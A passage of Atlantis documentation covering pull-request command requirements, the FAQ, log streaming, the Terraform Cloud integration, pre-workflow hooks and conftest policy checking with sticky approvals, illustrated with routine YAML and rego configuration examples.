statuses from other projects in the same merge request, but the project's own plan status and any non-Atlantis blocker still prevent the apply. #### Bitbucket.org (Bitbucket Cloud) and Bitbucket Server (Stash) [​](https://www.runatlantis.io/docs/command-requirements#bitbucket-org-bitbucket-cloud-and-bitbucket-server-stash) For Bitbucket, we just check if there is a conflict that is preventing a merge. We don't check anything else because Bitbucket's API doesn't support it. If you need a specific check, please [open an issue](https://github.com/runatlantis/atlantis/issues/new) . #### Azure DevOps [​](https://www.runatlantis.io/docs/command-requirements#azure-devops) In Azure DevOps, all pull requests are mergeable unless there is a conflict. You can set a pull request to "Complete" right away, or set "Auto-Complete", which will merge after all branch policies are met. See [Review code with pull requests](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops) . [Branch policies](https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops) can: * Require a minimum number of reviewers * Allow users to approve their own changes * Allow completion even if some reviewers vote "Waiting" or "Reject" * Reset code reviewer votes when there are new changes * Require a specific merge strategy (squash, rebase, etc.) WARNING At this time, the Azure DevOps client only supports merging using the default 'no fast-forward' strategy. Make sure your branch policies permit this type of merge. ### UnDiverged [​](https://www.runatlantis.io/docs/command-requirements#undiverged) Prevent applies if there are any changes on the base branch since the most recent plan. Applies to `merge` checkout strategy only which you need to set via `--checkout-strategy` flag. #### Usage [​](https://www.runatlantis.io/docs/command-requirements#usage-2) You can set the `undiverged` requirement by: 1. Creating a `repos.yaml` file with `plan_requirements`, `apply_requirements` and `import_requirements` keys: yaml repos: - id: /.*/ plan_requirements: [undiverged] apply_requirements: [undiverged] import_requirements: [undiverged] 2. Or by allowing an `atlantis.yaml` file to specify the `plan_requirements`, `apply_requirements` and `import_requirements` keys in your `repos.yaml` config: **repos.yaml** yaml repos: - id: /.*/ allowed_overrides: [plan_requirements, apply_requirements, import_requirements] **atlantis.yaml** yaml version: 3 projects: - dir: . plan_requirements: [undiverged] apply_requirements: [undiverged] import_requirements: [undiverged] #### Meaning [​](https://www.runatlantis.io/docs/command-requirements#meaning-2) The `merge` checkout strategy creates a temporary merge commit and runs the `plan` on the Atlantis local version of the PR source and destination branch. The local destination branch can become out of date since changes to the destination branch are not fetched if there are no changes to the source branch. `undiverged` enforces that Atlantis local version of main is up to date with remote so that the state of the source during the `apply` is identical to that if you were to merge the PR at that time. In the case of a transient error, Atlantis assumes divergence for safety and errors. When a project has `autoplan.when_modified` patterns configured, the `undiverged` requirement automatically uses those patterns to perform a **targeted** divergence check. Instead of failing when **any** file on the base branch has changed, it only fails when files matching the project's `when_modified` patterns have changed. This is especially useful in monorepos where unrelated changes to other projects should not block your applies. Targeted `undiverged` checks also follow Atlantis project selection for: * repo-configured projects affected through [module autoplanning](https://www.runatlantis.io/docs/server-configuration#autoplan-modules) * auto-discovered projects selected by the default `autoplan-file-list` rules If Atlantis cannot determine project impact for a repository, `undiverged` falls back to checking all files. **Example scenario:** text monorepo/ project1/ # Has when_modified: ["project1/**"] project2/ # Has when_modified: ["project2/**"] * PR modifies `project1/main.tf` * After PR created, someone merges changes to `project2/main.tf` * The `undiverged` requirement for project1 **passes** because the base branch change only affected `project2/` Setting Command Requirements [​](https://www.runatlantis.io/docs/command-requirements#setting-command-requirements) -------------------------------------------------------------------------------------------------------------------- As mentioned above, you can set command requirements via flags, in `repos.yaml`, or in `atlantis.yaml` if `repos.yaml` allows the override. ### Flags Override [​](https://www.runatlantis.io/docs/command-requirements#flags-override) Flags **override** any `repos.yaml` or `atlantis.yaml` settings so they are equivalent to always having that apply requirement set. ### Project-Specific Settings [​](https://www.runatlantis.io/docs/command-requirements#project-specific-settings) If you only want some projects/repos to have apply requirements, then you must 1. Specify which repos have which requirements via the `repos.yaml` file. yaml repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # Regex that defaults all repos to requiring approval - id: /github.com/runatlantis/.*/ # Regex to match any repo under the atlantis namespace, and not require approval # except for repos that might match later in the chain plan_requirements: [] apply_requirements: [] import_requirements: [] - id: github.com/runatlantis/atlantis plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # Exact string match of the github.com/runatlantis/atlantis repo # that sets apply_requirements to approved 2. Specify which projects have which requirements via an `atlantis.yaml` file, and allowing `plan_requirements`, `apply_requirements` and `import_requirements` to be set in `atlantis.yaml` by the server side `repos.yaml` config. For example if I have two directories, `staging` and `production`, I might use: **repos.yaml:** yaml repos: - id: /.*/ allowed_overrides: [plan_requirements, apply_requirements, import_requirements] # Allow any repo to specify apply_requirements in atlantis.yaml **atlantis.yaml:** yaml version: 3 projects: - dir: staging # By default, plan_requirements, apply_requirements and import_requirements are empty so this # isn't strictly necessary. plan_requirements: [] apply_requirements: [] import_requirements: [] - dir: production # This requirement will only apply to the # production directory. plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] ### Multiple Requirements [​](https://www.runatlantis.io/docs/command-requirements#multiple-requirements) You can set any or all of `approved`, `mergeable`, and `undiverged` requirements. Who Can Apply? [​](https://www.runatlantis.io/docs/command-requirements#who-can-apply) --------------------------------------------------------------------------------------- Once the apply requirement is satisfied, **anyone** that can comment on the pull request can run the actual `atlantis apply` command. Next Steps [​](https://www.runatlantis.io/docs/command-requirements#next-steps) -------------------------------------------------------------------------------- * For more information on GitHub pull request reviews and approvals see: [GitHub: About pull request reviews](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) * For more information on GitLab merge request reviews and approvals (only supported on GitLab Enterprise) see: [GitLab: Merge request approvals](https://docs.gitlab.com/user/project/merge_requests/approvals/) . * For more information on Bitbucket pull request reviews and approvals see: [BitBucket: Use pull requests for code review](https://confluence.atlassian.com/bitbucket/pull-requests-and-code-review-223220593.html) * For more information on Azure DevOps pull request reviews and approvals see: [Azure DevOps: Create pull requests](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops&tabs=browser) --- # FAQ | Atlantis [Skip to content](https://www.runatlantis.io/docs/faq#VPContent) Return to top FAQ [​](https://www.runatlantis.io/docs/faq#faq) ================================================= **Q: Does Atlantis affect Terraform [remote state](https://developer.hashicorp.com/terraform/language/state/remote) ?** A: No. Atlantis does not interfere with Terraform remote state in any way. Under the hood, Atlantis is simply executing `terraform plan` and `terraform apply`. **Q: How does Atlantis locking interact with Terraform [locking](https://developer.hashicorp.com/terraform/language/state/locking) ?** A: Atlantis provides locking of pull requests that prevents concurrent modification of the same infrastructure (Terraform project) whereas Terraform locking only prevents two concurrent `terraform apply`'s from happening. Terraform locking can be used alongside Atlantis locking since Atlantis is simply executing terraform commands. **Q: How to run Atlantis in high availability mode? Does it need to be?** A: Atlantis server can easily be run under the supervision of an init system like `upstart` or `systemd` to make sure `atlantis server` is always running. Atlantis, by default, stores all locking and Terraform plans locally on disk under the `--data-dir` directory (defaults to `~/.atlantis`). If multiple Atlantis hosts are run by utilizing a shared redis backend, then it's important that the `data-dir` is using a shared filesystem between hosts. However, if you were to lose the data, all you would need to do is run `atlantis plan` again on the pull requests that are open. If someone tries to run `atlantis apply` after the data has been lost then they will get an error back, so they will have to re-plan anyway. For fully stateless HA (no shared filesystem or persistent volume), Atlantis supports external plan storage via `--enable-external-stores` with an S3-compatible backend. Plans are uploaded to S3 after `terraform plan` and restored automatically when a different replica handles the `apply`. Combined with Redis for locking (`--locking-db-type=redis`), this allows running multiple Atlantis replicas with `emptyDir` volumes. See [server configuration](https://www.runatlantis.io/docs/server-configuration) for details. **Q: How to add SSL to Atlantis server?** A: First, you'll need to get a public/private key pair to serve over SSL. These need to be in a directory accessible by Atlantis. Then start `atlantis server` with the `--ssl-cert-file` and `--ssl-key-file` flags. See `atlantis server --help` for more information. **Q: Can Atlantis detect infrastructure drift?** A: Yes. When the `--enable-drift-detection` flag is set, Atlantis exposes API endpoints for drift detection, status, and remediation. Drift detection works by running `terraform plan` against the specified branch/ref (outside of a pull request context) and analyzing the plan output for changes. You can trigger drift detection via `POST /api/drift/detect` and retrieve cached results via `GET /api/drift/status`. See [API Endpoints](https://www.runatlantis.io/docs/api-endpoints) for details. **Q: How do I set up scheduled drift detection?** A: Atlantis provides the drift detection API but does not include a built-in scheduler. You can use an external scheduler (e.g., cron, CI/CD pipelines, or a monitoring tool) to periodically call `POST /api/drift/detect`. Configure [drift webhooks](https://www.runatlantis.io/docs/sending-notifications-via-webhooks) to receive Slack or HTTP notifications when drift is detected. **Q: How can I get Atlantis up and running on AWS?** A: There is [terraform-aws-atlantis](https://github.com/terraform-aws-modules/terraform-aws-atlantis) project where complete Terraform configurations for running Atlantis on AWS Fargate are hosted. Tested and maintained. --- # Real-time logs | Atlantis [Skip to content](https://www.runatlantis.io/docs/streaming-logs#VPContent) Return to top Real-time logs [​](https://www.runatlantis.io/docs/streaming-logs#real-time-logs) ================================================================================== Atlantis supports streaming terraform logs in real time by default. Currently, only two commands are supported * atlantis plan * atlantis apply WARNING Not all custom workflow outputs and other terraform commands are supported. Support for terragrunt has been added, see examples in [Custom Workflows](https://www.runatlantis.io/docs/custom-workflows#terragrunt) . In order to view real-time terraform logs, a user can navigate through the _details_ section of a given project's plan or apply status check. ![Plan Command](https://www.runatlantis.io/assets/plan.CfXakNXK.png) This will link to the Atlantis UI which provides real-time logging in addition to native terraform syntax highlighting. ![Plan Output](https://www.runatlantis.io/assets/plan_output.icHPDCLk.png) WARNING As of now the logs are currently stored in memory and cleared when a given pull request is closed, so this link shouldn't be persisted anywhere. --- # Terraform Cloud/Enterprise | Atlantis [Skip to content](https://www.runatlantis.io/docs/terraform-cloud#VPContent) On this page Terraform Cloud/Enterprise [​](https://www.runatlantis.io/docs/terraform-cloud#terraform-cloud-enterprise) =========================================================================================================== NOTE Terraform Enterprise was [recently renamed](https://www.hashicorp.com/blog/introducing-terraform-cloud-remote-state-management) Terraform Cloud and Private Terraform Enterprise was renamed Terraform Enterprise. Atlantis integrates seamlessly with Terraform Cloud and Terraform Enterprise, whether you're using: * [Free Remote State Management](https://app.terraform.io/) * Terraform Cloud Paid Tiers * A Private Installation of Terraform Enterprise Read the docs below 👇 depending on your use-case. Using Atlantis With Free Remote State Storage [​](https://www.runatlantis.io/docs/terraform-cloud#using-atlantis-with-free-remote-state-storage) ------------------------------------------------------------------------------------------------------------------------------------------------- To use Atlantis with Free Remote State Storage, you need to: 1. Migrate your state to Terraform Cloud. See [Migrating State from Local Terraform](https://developer.hashicorp.com/terraform/cloud-docs/migrate) 2. Update any projects that are referencing the state you migrated to use the new location 3. [Generate a Terraform Cloud/Enterprise Token](https://www.runatlantis.io/docs/terraform-cloud#generating-a-terraform-cloud-enterprise-token) 4. [Pass the token to Atlantis](https://www.runatlantis.io/docs/terraform-cloud#passing-the-token-to-atlantis) That's it! Atlantis will run as normal and your state will be stored in Terraform Cloud. Using Atlantis With Terraform Cloud Remote Operations or Terraform Enterprise [​](https://www.runatlantis.io/docs/terraform-cloud#using-atlantis-with-terraform-cloud-remote-operations-or-terraform-enterprise) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Atlantis integrates with the full version of Terraform Cloud and Terraform Enterprise via the [remote backend](https://developer.hashicorp.com/terraform/language/settings/backends/remote) . Atlantis will run `terraform` commands as usual, however those commands will actually be executed _remotely_ in Terraform Cloud or Terraform Enterprise. ### Why? [​](https://www.runatlantis.io/docs/terraform-cloud#why) Using Atlantis with Terraform Cloud or Terraform Enterprise gives you access to features like: * Real-time streaming output * Ability to cancel in-progress commands * Secret variables * [Sentinel](https://www.hashicorp.com/sentinel) **Without** having to change your pull request workflow. ### Getting Started [​](https://www.runatlantis.io/docs/terraform-cloud#getting-started) To use Atlantis with Terraform Cloud Remote Operations or Terraform Enterprise, you need to: 1. Migrate your state to Terraform Cloud/Enterprise. See [Migrating State from Local Terraform](https://developer.hashicorp.com/terraform/cloud-docs/migrate) 2. Update any projects that are referencing the state you migrated to use the new location 3. [Generate a Terraform Cloud/Enterprise Token](https://www.runatlantis.io/docs/terraform-cloud#generating-a-terraform-cloud-enterprise-token) 4. [Pass the token to Atlantis](https://www.runatlantis.io/docs/terraform-cloud#passing-the-token-to-atlantis) Generating a Terraform Cloud/Enterprise Token [​](https://www.runatlantis.io/docs/terraform-cloud#generating-a-terraform-cloud-enterprise-token) ------------------------------------------------------------------------------------------------------------------------------------------------- Atlantis needs a Terraform Cloud/Enterprise Token that it will use to access the API. Using a **Team Token is recommended**, however you can also use a User Token. ### Team Token [​](https://www.runatlantis.io/docs/terraform-cloud#team-token) To generate a team token, click on **Settings** in the top bar, then **Teams** in the sidebar. Choose an existing team or create a new one. Enable the **Manage Workspaces** permission, then scroll down to **Team API Token**. ### User Token [​](https://www.runatlantis.io/docs/terraform-cloud#user-token) To generate a user token, click on your avatar, then **User Settings**, then **Tokens** in the sidebar. Ensure the **Manage Workspaces** permission is enabled for this user's team. Passing The Token To Atlantis [​](https://www.runatlantis.io/docs/terraform-cloud#passing-the-token-to-atlantis) ----------------------------------------------------------------------------------------------------------------- The token can be passed to Atlantis via the `ATLANTIS_TFE_TOKEN` environment variable. You can also use the `--tfe-token` flag, however your token would then be easily viewable in the process list. If you're hosting your own Terraform Enterprise installation, set the `--tfe-hostname` flag to its hostname. That's it! Atlantis should be able to perform Terraform operations using Terraform Cloud/Enterprise's remote state backend now. WARNING If you're using local execution mode for your workspaces, remember to set the `--tfe-local-execution-mode`. Otherwise you won't see the logs in Atlantis. WARNING The Terraform Cloud/Enterprise integration only works with the built-in `plan` and `apply` steps. It does not work with custom `run` steps that replace plan or apply. NOTE Under the hood, Atlantis is generating a `~/.terraformrc` file. If you already had a `~/.terraformrc` file where Atlantis is running, then you'll need to manually add the credentials block to that file: hcl ... credentials "app.terraform.io" { token = "xxxx" } instead of using the `ATLANTIS_TFE_TOKEN` environment variable, since Atlantis won't overwrite your `.terraformrc` file. --- # Pre Workflow Hooks | Atlantis [Skip to content](https://www.runatlantis.io/docs/pre-workflow-hooks#VPContent) On this page Pre Workflow Hooks [​](https://www.runatlantis.io/docs/pre-workflow-hooks#pre-workflow-hooks) ============================================================================================== Pre workflow hooks can be defined to run scripts before default or custom workflows are executed. Pre workflow hooks differ from [custom workflows](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) in several ways. 1. Pre workflow hooks do not require the repository configuration to be present. This can be utilized to [dynamically generate repo configs](https://www.runatlantis.io/docs/pre-workflow-hooks#dynamic-repo-config-generation) . 2. Pre workflow hooks are run outside of Atlantis commands. Which means they do not surface their output back to the PR as a comment. Usage [​](https://www.runatlantis.io/docs/pre-workflow-hooks#usage) -------------------------------------------------------------------- Pre workflow hooks can only be specified in the Server-Side Repo Config under the `repos` key. Note By default, `pre-workflow-hooks` do not prevent Atlantis from executing its workflows(`plan`, `apply`) even if a `run` command exits with an error. This behavior can be changed by setting the [fail-on-pre-workflow-hook-error](https://www.runatlantis.io/docs/server-configuration#fail-on-pre-workflow-hook-error) flag in the Atlantis server configuration. Atlantis Command Targeting [​](https://www.runatlantis.io/docs/pre-workflow-hooks#atlantis-command-targeting) -------------------------------------------------------------------------------------------------------------- By default, the workflow hook will run when any command is processed by Atlantis. This can be modified by specifying the `commands` key in the workflow hook containing a comma-delimited list of Atlantis commands that the hook should be run for. Detail of the Atlantis commands can be found in [Using Atlantis](https://www.runatlantis.io/docs/using-atlantis) . ### Example [​](https://www.runatlantis.io/docs/pre-workflow-hooks#example) yaml repos: - id: /.*/ pre_workflow_hooks: - run: ./plan-hook.sh description: Plan Hook commands: plan - run: ./plan-apply-hook.sh description: Plan & Apply Hook commands: plan, apply Use Cases [​](https://www.runatlantis.io/docs/pre-workflow-hooks#use-cases) ---------------------------------------------------------------------------- ### Dynamic Repo Config Generation [​](https://www.runatlantis.io/docs/pre-workflow-hooks#dynamic-repo-config-generation) To generate the repo `atlantis.yaml` before Atlantis can parse it, add a `run` command to `pre_workflow_hooks`. Your Repo config will be generated right before Atlantis parses it. yaml repos: - id: /.*/ pre_workflow_hooks: - run: ./repo-config-generator.sh description: Generating configs Customizing the Shell [​](https://www.runatlantis.io/docs/pre-workflow-hooks#customizing-the-shell) ---------------------------------------------------------------------------------------------------- By default, the command will be run using the 'sh' shell with an argument of '-c'. This can be customized using the `shell` and `shellArgs` keys. Example: yaml repos: - id: /.*/ pre_workflow_hooks: - run: | echo "generating atlantis.yaml" terragrunt-atlantis-config generate --output atlantis.yaml --autoplan --parallel description: Generating atlantis.yaml shell: bash shellArgs: -cv Reference [​](https://www.runatlantis.io/docs/pre-workflow-hooks#reference) ---------------------------------------------------------------------------- ### Custom `run` Command [​](https://www.runatlantis.io/docs/pre-workflow-hooks#custom-run-command) This is very similar to the [custom workflow run command](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) . yaml - run: custom-command | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | run | string | none | no | Run a custom command | | description | string | none | no | Pre hook description | | shell | string | 'sh' | no | The shell to use for running the command | | shellArgs | string | '-c' | no | The shell arguments to use for running the command | Notes * `run` commands are executed with the following environment variables: * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) * `PULL_NUM` - Pull request number or ID, ex. `2`. * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. * `DIR` - The absolute path to the root of the cloned repository. * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. * `COMMAND_NAME` - The name of the command that is being executed, i.e. `plan`, `apply` etc. * `OUTPUT_STATUS_FILE` - An output file to customize the success or failure status. ex. `echo 'failure' > $OUTPUT_STATUS_FILE`. * `PROJECT_NAME` - Project name passed by the `-p` option. If `-p` is not provided, this value is empty. --- # Conftest Policy Checking | Atlantis [Skip to content](https://www.runatlantis.io/docs/policy-checking#VPContent) On this page Conftest Policy Checking [​](https://www.runatlantis.io/docs/policy-checking#conftest-policy-checking) ======================================================================================================= Atlantis supports running server-side [conftest](https://www.conftest.dev/) policies against the plan output. Common usecases for using this step include: * Denying usage of a list of modules * Asserting attributes of a resource at creation time * Catching unintentional resource deletions * Preventing security risks (i.e. exposing secure ports to the public) How it works? [​](https://www.runatlantis.io/docs/policy-checking#how-it-works) -------------------------------------------------------------------------------- Enabling "policy checking" in addition to the [mergeable apply requirement](https://www.runatlantis.io/docs/command-requirements#supported-requirements) blocks applies on plans that fail any of the defined conftest policies. ![Policy Check Apply Failure](https://www.runatlantis.io/assets/policy-check-apply-failure.BL3EsCGg.png) ![Policy Check Apply Status Failure](https://www.runatlantis.io/assets/policy-check-apply-status-failure.CTATr4gL.png) Any failures need to either be addressed in a successive commit, or approved by top-level owner(s) of policies or the owner(s) of the policy set in question. Policy approvals are independent of the approval apply requirement which can coexist in the policy checking workflow. After policies are approved, the apply can proceed. ![Policy Check Approval](https://www.runatlantis.io/assets/policy-check-approval.-4QGKl6F.png) Policy approvals may be cleared either by re-planning, or by issuing the following command: shell atlantis approve_policies --clear-policy-approval WARNING By default, any plans following the approval will discard all policy approvals and prompt again for them. To change this behavior, see [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals) . Getting Started [​](https://www.runatlantis.io/docs/policy-checking#getting-started) ------------------------------------------------------------------------------------- This section will provide a guide on how to get set up with a simple policy that fails creation of `null_resource`'s and requires approval from a blessed user. ### Step 1: Enable the workflow [​](https://www.runatlantis.io/docs/policy-checking#step-1-enable-the-workflow) Enable the workflow using the following server configuration flag `--enable-policy-checks` WARNING All repositories will have policy checking enabled. NOTE If you are using the [`--gh-team-allowlist`](https://www.runatlantis.io/docs/server-configuration#gh-team-allowlist) flag to restrict which teams can run commands, you **must** also allowlist the `policy_check` command for policy checks to work on manual `atlantis plan` commands. For example: bash atlantis server --gh-team-allowlist="*:plan,*:policy_check,*:unlock,myteam:apply" Alternatively, you can use `allowed_overrides: [policy_check]` in your [server-side repo config](https://www.runatlantis.io/docs/server-side-repo-config) . **Why is this needed?** * `policy_check` is an internal command that runs automatically after `plan` * When using team allowlists, Atlantis checks if the user is authorized to run `policy_check` * Autoplans bypass this check (they don't have a user), which is why they work without this configuration * Without allowlisting `policy_check`, manual `atlantis plan` commands will plan successfully but skip policy checks See [Repo and Project Permissions](https://www.runatlantis.io/docs/repo-and-project-permissions#server-option-gh-team-allowlist) for more information about team allowlists. ### Step 2: Define the policy configuration [​](https://www.runatlantis.io/docs/policy-checking#step-2-define-the-policy-configuration) Policy Configuration is defined in the [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config#reference) . In this example we will define one policy set with one owner: yaml policies: owners: users: - nishkrishnan policy_sets: - name: deny_null_resource path: /policies/deny_null_resource/ source: local - name: deny_local_exec path: /policies/deny_local_exec/ source: local approve_count: 2 owners: users: - pseudomorph * `name` - A name of your policy set. * `path` - Path to a policies directory. _Note: replace `` with absolute dir path to conftest policy/policies._ * `source` - Tells atlantis where to fetch the policies from. Currently you can only host policies locally by using `local`. * `owners` - Defines the users/teams which are able to approve a specific policy set. * `approve_count` - Defines the number of approvals needed to bypass policy checks. Defaults to the top-level policies configuration, if not specified. * `prevent_self_approve` - Defines whether the PR author can approve policies. * `sticky_policy_approvals` - When `true`, approvals survive re-plans as long as no new policy output items (as matched by `policy_item_regex`) are introduced. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals) . * `policy_item_regex` - Regex used to extract comparable items from policy output for sticky approval tracking. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals) . By default conftest is configured to only run the `main` package. If you wish to run specific/multiple policies consider passing `--namespace` or `--all-namespaces` to conftest with [`extra_args`](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) via a custom workflow as shown in the below example. Example Server Side Repo configuration using `--all-namespaces` and a local src dir. yaml repos: - id: github.com/myorg/example-repo workflow: custom policies: owners: users: - example-dev policy_sets: - name: example-conf-tests path: /home/atlantis/conftest_policies # Consider separate vcs & mount into container source: local workflows: custom: plan: steps: - init - plan policy_check: steps: - policy_check: extra_args: ["-p /home/atlantis/conftest_policies/", "--all-namespaces"] Note Conftest is run with an argument vector rather than through a shell. A policy set `path` and each `extra_args` entry are still split on whitespace, so a value carrying more than one argument, like `"-p /home/atlantis/conftest_policies/"` above, keeps working. Shell operators and command substitution are passed through as ordinary text. To use a path that genuinely contains a space, quote it, e.g. `"'/home/atlantis/my policies'"`. Environment references in unquoted or double-quoted text are expanded from the policy-check environment without splitting the expanded value. Use single quotes or a backslash before `$` when the reference should remain literal. ### Step 3: Write the policy [​](https://www.runatlantis.io/docs/policy-checking#step-3-write-the-policy) Conftest policies are based on [Open Policy Agent (OPA)](https://www.openpolicyagent.org/) and written in [rego](https://www.openpolicyagent.org/docs/latest/policy-language/#what-is-rego) . Following our example, simply create a `rego` file in `null_resource_warning` folder with following code, the code below a simple policy that will fail for plans containing newly created `null_resource`s. rego package main resource_types = {"null_resource"} # all resources resources[resource_type] = all { some resource_type resource_types[resource_type] all := [name |\ name:= input.resource_changes[_]\ name.type == resource_type\ ] } # number of creations of resources of a given type num_creates[resource_type] = num { some resource_type resource_types[resource_type] all := resources[resource_type] creates := [res | res:= all[_]; res.change.actions[_] == "create"] num := count(creates) } deny[msg] { num_resources := num_creates["null_resource"] num_resources > 0 msg := "null resources cannot be created" } That's it! Now your Atlantis instance is configured to run policies on your Terraform plans 🎉 Customizing the conftest command [​](https://www.runatlantis.io/docs/policy-checking#customizing-the-conftest-command) ----------------------------------------------------------------------------------------------------------------------- ### Pulling policies from a remote location [​](https://www.runatlantis.io/docs/policy-checking#pulling-policies-from-a-remote-location) Conftest supports [pulling policies](https://www.conftest.dev/sharing/#pulling) from remote locations such as S3, git, OCI, and other protocols supported by the [go-getter](https://github.com/hashicorp/go-getter) library. The key [`extra_args`](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) can be used to pass in the [`--update`](https://www.conftest.dev/sharing/#-update-flag) flag to tell `conftest` to pull the policies into the project folder before running the policy check. yaml workflows: custom: plan: steps: - init - plan policy_check: steps: - policy_check: extra_args: ["--update", "s3::https://s3.amazonaws.com/bucket/foo"] Note that authentication may need to be configured separately if pulling policies from sources that require it. For example, to pull policies from an S3 bucket, Atlantis host can be configured with a default AWS profile that has permission to `s3:GetObject` and `s3:ListBucket` from the S3 bucket. ### Running policy check against Terraform source code [​](https://www.runatlantis.io/docs/policy-checking#running-policy-check-against-terraform-source-code) By default, Atlantis runs the policy check against the [`SHOWFILE`](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) . In order to run the policy test against Terraform files directly, override the default `conftest` command used and pass in `*.tf` as one of the inputs to `conftest`. The `show` step is required so that Atlantis will generate the `SHOWFILE`. yaml workflows: custom: policy_check: steps: - show - run: conftest test $SHOWFILE *.tf --no-fail ### Quiet policy checks [​](https://www.runatlantis.io/docs/policy-checking#quiet-policy-checks) By default, Atlantis will add a comment to all pull requests with the policy check result - both successes and failures. Version 0.21.0 added the [`--quiet-policy-checks`](https://www.runatlantis.io/docs/server-configuration#quiet-policy-checks) option, which will instead only add comments when policy checks fail, significantly reducing the number of comments when most policy check results succeed. ### Data for custom run steps [​](https://www.runatlantis.io/docs/policy-checking#data-for-custom-run-steps) When the policy check workflow runs, a file is created in the working directory which contains information about the status of each policy set tested. This data may be useful in custom run steps to generate metrics or notifications. The file contains JSON data in the following format: json [\ {\ "PolicySetName": "policy1",\ "PolicyOutput": "FAIL - plan.json - main - WARNING: resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n",\ "Passed": false,\ "ReqApprovalCount": 1,\ "Approvals": null,\ "Hashes": ["ae6b7acaaedaf6fcd3d1823643dbf2ef1aa25374a99b44b1923d8227cc9707e3"],\ "PolicyItemRegex": "(?s).+"\ }\ ] | Field | Type | Description | | --- | --- | --- | | `PolicySetName` | string | Name of the policy set. | | `PolicyOutput` | string | Raw output from the policy check. | | `Passed` | bool | Whether the policy check passed. | | `ReqApprovalCount` | int | Number of approvals required to bypass the failing policy. | | `Approvals` | \[\]PolicySetApproval | List of approvals, each with an `Approver` username and `Hashes` snapshot. | | `Hashes` | \[\]string | SHA-256 hex digests of items extracted from the policy output using `policy_item_regex`. | | `PolicyItemRegex` | string | The regex used to extract items from the policy output for hashing. | Sticky Policy Approvals [​](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals) ----------------------------------------------------------------------------------------------------- By default, when a plan is re-run, all prior policy approvals are discarded. This means that after every `atlantis plan`, policy owners must re-approve even if nothing about the policy failures changed. **Sticky policy approvals** allow approvals to survive re-plans, as long as no new items appear in the policy output (matched via `policy_item_regex`). This is useful in workflows where plans are frequently re-run (e.g., due to base branch updates) but the policy violations remain the same or are being resolved. ### How it works [​](https://www.runatlantis.io/docs/policy-checking#how-it-works-1) When sticky approvals are enabled, Atlantis extracts items from policy output using `policy_item_regex` and hashes them. Each approval records a snapshot of these hashes. On re-plan, approvals are carried forward only if their recorded hashes still cover the current output. Adding or changing items invalidates approvals; removing items (e.g., fixing a violation) preserves them. ### Enabling sticky approvals [​](https://www.runatlantis.io/docs/policy-checking#enabling-sticky-approvals) Enable at the top level to apply to all policy sets: yaml policies: owners: users: - policyowner sticky_policy_approvals: true policy_sets: - name: security-policy path: /policies/security source: local Or enable per policy set: yaml policies: owners: users: - policyowner policy_sets: - name: security-policy path: /policies/security source: local sticky_policy_approvals: true - name: cost-policy path: /policies/cost source: local # This policy set uses default (non-sticky) behavior A per-policy-set `sticky_policy_approvals` value overrides the top-level setting. This lets you enable sticky approvals globally but opt specific policy sets out (or vice versa). ### Customizing the policy item regex [​](https://www.runatlantis.io/docs/policy-checking#customizing-the-policy-item-regex) The `policy_item_regex` controls which parts of the policy output are used as the "identity" for sticky approval tracking. The default is `(?s).+`, which matches the entire output as a single item. This means any change to the output invalidates the approval — an all-or-nothing approach. For granular per-item tracking, override the regex to match individual items. For example, `.+` (without `(?s)`) matches each non-empty line as a separate item: yaml policies: owners: users: - policyowner sticky_policy_approvals: true policy_item_regex: ".+" policy_sets: - name: security-policy path: /policies/security source: local With `.+`, each line is tracked independently. Approvals remain valid as long as every current line was present at approval time. Fixing a violation (removing a line) preserves existing approvals; adding or changing one invalidates them. TIP The subset semantics above are intentional: an approval covers a specific set of items, and any current item must have been part of that set. Removing items (e.g., a policy author fixes a previously-flagged violation) is treated as progress and does **not** invalidate prior approvals. Only the appearance of new or changed items triggers re-approval. For text output, use `(?m)^FAIL.*` to track only lines starting with `FAIL`: yaml policy_item_regex: "(?m)^FAIL.*" TIP Use the `(?m)` flag prefix to enable multiline matching, so `^` and `$` match the start and end of each line rather than just the start and end of the entire string. A per-policy-set `policy_item_regex` can override the top-level default: yaml policies: owners: users: - policyowner sticky_policy_approvals: true policy_item_regex: 